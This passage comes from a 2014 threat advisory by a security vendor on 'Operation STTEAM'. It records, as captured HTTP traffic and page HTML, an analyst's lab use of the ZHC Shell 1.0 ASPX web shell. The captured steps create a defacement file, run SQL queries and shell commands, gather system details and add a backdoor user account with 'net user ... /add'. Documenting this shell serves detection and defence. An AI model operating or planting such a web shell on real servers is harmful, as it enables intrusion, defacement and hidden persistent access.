href?actioneditsrcc3a5cinetpub5cwwwroot5chelp.gifEdit/aa href?actioncutsrcc3a5cinetpub5cwwwroot5chelp.gif target_blankCut/aa href?actioncopysrcc3a5cinetpub5cwwwroot5chelp.gif target_blankCopy/aa href?actionrenamesrcc3a5cinetpub5cwwwroot5chelp.gifRename/aa href?actiondownsrcc3a5cinetpub5cwwwroot5chelp.gif onClickreturn down(this)Download/aa href?actiondelsrcc3a5cinetpub5cwwwroot5chelp.gif onClickreturn del(this)Del/a/td/tr ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- function down()  if(confirm(If the file size  20M,\nPlease don\t download\nYou can copy file to web directory ,use http download\nAre you sure download?
))return true elsereturn false  /script /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 25 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html - New file created Filename: c:\inetpub\wwwroot\TEST_FILE.txt Data written to file: Hacked by STTEAM GET /ZHC_Shell_1.0.aspx?actionnewsrcc3a5cinetpub5cwwwroot5c HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:58:13 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3446 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actionnewsrcc3a5cinetpub5cwwwroot5c HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 26 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actionnewsrcc3a5cinetpub5cwwwroot5c Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 432 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaSNewNameTEST_FILE.TXTNewNewFile NewButtonSubmitSrcc3A5Cinetpub5Cwwwroot5C__EVENTVALIDATION2FwE WBQLrm6SaCALt2FZdvApy87uwMAt2BD7fALAvP18ZcNmdCY9LhQuyMQGUEqqkNmLdBOn H03D ---- RESPONSE ---- HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:58:51 GMT X-Powered-By: ASP.NET HTTP/1.1 302 Found Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:58:51 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: /ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 197 htmlheadtitleObject moved/title/headbody h2Object moved to a href/ZHC_Shell_1.0.aspx?actioneditampsrcc3a5cinetpub5cwwwroot5cTEST_FILE.
TXThere/a./h2 /body/html ---- REQUEST ---- GET /ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actionnewsrcc3a5cinetpub5cwwwroot5c Accept-Language: en-us Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 27 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:58:51 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3521 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioneditsrcc3a5cinetpub5cwwwroot5cTEST _FILE.TXT Accept-Language: en-us Content-Type: multipart/form-data boundary---------------------------7dea15360210 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 1052 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 28 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 -----------------------------7dea15360210 Content-Disposition: form-data name__EVENTTARGET -----------------------------7dea15360210 Content-Disposition: form-data name__EVENTARGUMENT -----------------------------7dea15360210 Content-Disposition: form-data name__VIEWSTATE /wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLW RhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXd EaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RROceR1taS -----------------------------7dea15360210 Content-Disposition: form-data namefilepath c:\inetpub\wwwroot\TEST_FILE.TXT -----------------------------7dea15360210 Content-Disposition: form-data namecontent Hacked by STTEAM -----------------------------7dea15360210 Content-Disposition: form-data namea Sumbit -----------------------------7dea15360210 Content-Disposition: form-data name__EVENTVALIDATION /wEWBALrm6SaCAKwgsKBDALW4bf/BAK/76ruDDFHkmmcWzwDRZCn6yFg1uYyRvu7 -----------------------------7dea15360210-- ---- RESPONSE ---- HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:59:21 GMT X-Powered-By: ASP.NET HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 17:59:21 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3711 scriptalert(EditCreat c:\\inetpub\\wwwroot\\TEST_FILE.TXT Success)location.href/ZHC_Shell_1.0.aspx?actiongotosrcc3a5cinetpub5cwwwroot 5c/script DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 29 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl11 methodpost actionZHC_Shell_1.0.aspx?actioneditampsrcc3a5cinetpub5cwwwroot5cTEST_FIL E.TXT idctl11 enctypemultipart/form-data div input typehidden name__EVENTTARGET id__EVENTTARGET value / input typehidden name__EVENTARGUMENT id__EVENTARGUMENT value / input typehidden name__VIEWSTATE id__VIEWSTATE value/wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9m b3JtLWRhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQdOZXdGaWxlBQ dOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0RpcmVjdG9yecjgjhjkSsSPowbSdyPqLK8RvfwA / /div script typetext/javascript //[CDATA[ var theForm  document.forms[ctl11] if (theForm) theForm  document.ctl11  function __doPostBack(eventTarget, eventArgument) if (theForm.onsubmit  (theForm.onsubmit()  false)) theForm.__EVENTTARGET.value  eventTarget theForm.__EVENTARGUMENT.value  eventArgument theForm.submit()   //]] /script table width80  border1 aligncenter tr      td width11Path/td td width89 input namefilepath typetext valuec:\inetpub\wwwroot\TEST_FILE.TXT idfilepath classTextBox stylewidth:300px / /td /tr tr tdContent/td td textarea namecontent rows25 cols100 idcontent classTextBoxHacked by STTEAM/textarea/td /tr tr td/td td input typesubmit namea valueSumbit ida classbutton / /td /tr /table div .input typehidden name__EVENTVALIDATION id__EVENTVALIDATION value/wEWBAKVzdKBCwKwgsKBDALW4bf/BAK/76ruDA40iO6cLOK3TeAbqxG5L91EeqiK / Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 30 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 /div/form /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- GET /ZHC_Shell_1.0.aspx?actiongotosrcc3a5cinetpub5cwwwroot5c HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- The following window was also displayed after saving the file with the content: - SQL Command option selected Parameters: SQL Host: 192.168.1.1 SQL Username: SQL_Username SQL Password: SQL_Password Command:  SELECT  FROM sys.tables GET /ZHC_Shell_1.0.aspx?actionsqlrootkit HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 31 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 19:20:49 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3663 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actionsqlrootkit HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actionsqlrootkit Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 460 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionIdjuatcz3dsscr4fzqlqet52f3 ---- RESPONSE ---- HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 19:21:12 GMT X-Powered-By: ASP.NET Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 32 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 ---- REQUEST ---- __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaSip192.168.1.1SqlNameSQL_Username SqlPassSQL_PasswordSqlcmdSELECTFROMsys.tablesButtonSQLRun__EVENT VALIDATION2FwEWBgLrm6SaCALH72BrvDALfi9niBgLlyse8AQKezImXAwKQpq2wCTiqBO LnL2Bz1LGFA2F3tHorFz7tKZ - Command Line option selected Command type: dir c:\inetpub\wwwroot\ GET /ZHC_Shell_1.0.aspx?actioncmd HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId2n0ffa45celc1uac4wopi1bl ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 19:42:33 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3242 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd typetext idcmd classTextBox stylewidth:300px / input typesubmit nameButton123 valueRun idButton123 classbutton //center p span idresult stylestyle2/span/p Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 33 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 div ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioncmd HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actioncmd Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Content-Length: 377 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId2n0ffa45celc1uac4wopi1bl __EVENTTARGET__EVENTARGUMENT__VIEWSTATE2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO2BceR1t2BaScmddirc3A5Cinetpub5Cwwwroot 5CButton123Run__EVENTVALIDATION2FwEWAwLrm6SaCAKzmbmVDAKJ7NvuBxSY8n llAnuhSF9RsZQ7OKxCJ4TC ---- RESPONSE ---- HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 19:42:37 GMT X-Powered-By: ASP.NET HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 19:42:39 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 6071 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 34 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 /p div aligncenter/div style typetext/css body,td,th color: FFFFFF font-family: Comic Sans Ms  body background-image: url(http://a6.sphotos.ak.fbcdn.net/hphotos-ak- snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg) background-position: center center background-repeat: no-repeat background-color: 000000 background-attachment: fixed font-family: Comic Sans MS font-size: 16px  ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl01 methodpost actionZHC_Shell_1.0.aspx?actioncmd idctl01 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd typetext idcmd classTextBox stylewidth:300px / input typesubmit nameButton123 valueRun idButton123 classbutton //center p span idresult stylestyle2dir c:\inetpub\wwwroot\ pre Volume in drive C has no label.
Volume Serial Number is C426-4EBB Directory of c:\inetpub\wwwroot 02/24/2014  12:58 PM    gtDIRlt          .
02/24/2014  12:58 PM    gtDIRlt          .. 02/20/2014  04:35 PM    gtDIRlt          aspnet_client 02/23/2014  12:32 AM                43 Copy of TEST_FILE.txt 07/21/2001  01:22 PM               342 help.gif 07/21/2001  01:22 PM             2,048 iisstart.asp 07/21/2001  01:22 PM            10,030 localstart.asp 07/21/2001  01:22 PM               356 mmc.gif 07/21/2001  01:22 PM             2,806 pagerror.gif 07/21/2001  01:22 PM             1,046 print.gif 02/20/2014  06:43 PM    gtDIRlt          test 02/24/2014  12:59 PM                17 TEST_FILE.TXT 07/21/2001  01:22 PM             1,577 warning.gif 07/21/2001  01:22 PM             1,182 web.gif 07/21/2001  01:22 PM            11,946 winxp.gif 02/17/2014  03:51 PM            51,405 zehir4.asp 02/22/2014  10:39 PM            37,770 ZHC_Shell_1.0.aspx 02/23/2014  09:57 AM             8,048 ZHC_Shell_1.0.zip Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 35 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 14 File(s)        128,616 bytes 4 Dir(s)  26,521,387,008 bytes free /pre/span/p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html - System Information options selected GET /ZHC_Shell_1.0.aspx?actioninformation HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId2n0ffa45celc1uac4wopi1bl ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 19:54:43 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3298 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 36 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 centerp[ System information ]/pbr/ table width80  border1 aligncenter tr td colspan2span classstyle3bWeb Server Information/b/span/td /tr tr td width40Server IP/td td width60192.168.1.1/td /tr tr td height73Machine Name/td tdREMOVED_BY_ANALYST/td /tr tr tdNetwork Name/td td REMOVED_BY_ANALYST /td /tr tr tdUser Name in this Process/td tdASPNET/td /tr tr tdOS Version/td tdMicrosoft Windows NT 5.1.2600 Service Pack 2/td /tr tr tdStarted Time/td td4 Hours/td /tr tr tdSystem Time/td td2/24/2014 2:54:43 PM/td /tr tr tdIIS Version/td tdMicrosoft-IIS/5.1/td /tr tr tdHTTPS/td tdoff/td /tr tr tdPATH_INFO/td td/ZHC_Shell_1.0.aspx/td /tr tr tdPATH_TRANSLATED/td tdc:\inetpub\wwwroot\ZHC_Shell_1.0.aspx/td tr tdSERVER_PORT/td td80/td /tr tr tdSeesionID/td td2n0ffa45celc1uac4wopi1bl/td /tr tr Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 37 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 td colspan2span classstyle3bClient Infomation/b/span/td /tr tr tdClient Proxy/td tdNone/td /tr tr tdClient IP/td td192.168.1.100/td /tr tr tdUser/td tdMozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C)/td /tr /table /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html - Add User option selected Command: net user STTEAM STTEAM_PASSWORD /add GET /ZHC_Shell_1.0.aspx?actioncmd5 HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId2n0ffa45celc1uac4wopi1bl ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 20:15:10 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 3294 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 38 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body form namectl05 methodpost actionZHC_Shell_1.0.aspx?actioncmd5 idctl05 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- centerp[ Command Prompt ]/p p(span classstyle3Note: Please CLICK RUN in order to execute the command/span)/p Command: input namecmd5 typetext valuenet user USERNAME PASSWORD /add idcmd5 classTextBox stylewidth:300px / input typesubmit nameButton1234567 valueRun idButton1234567 classbutton //center ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- POST /ZHC_Shell_1.0.aspx?actioncmd5 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: 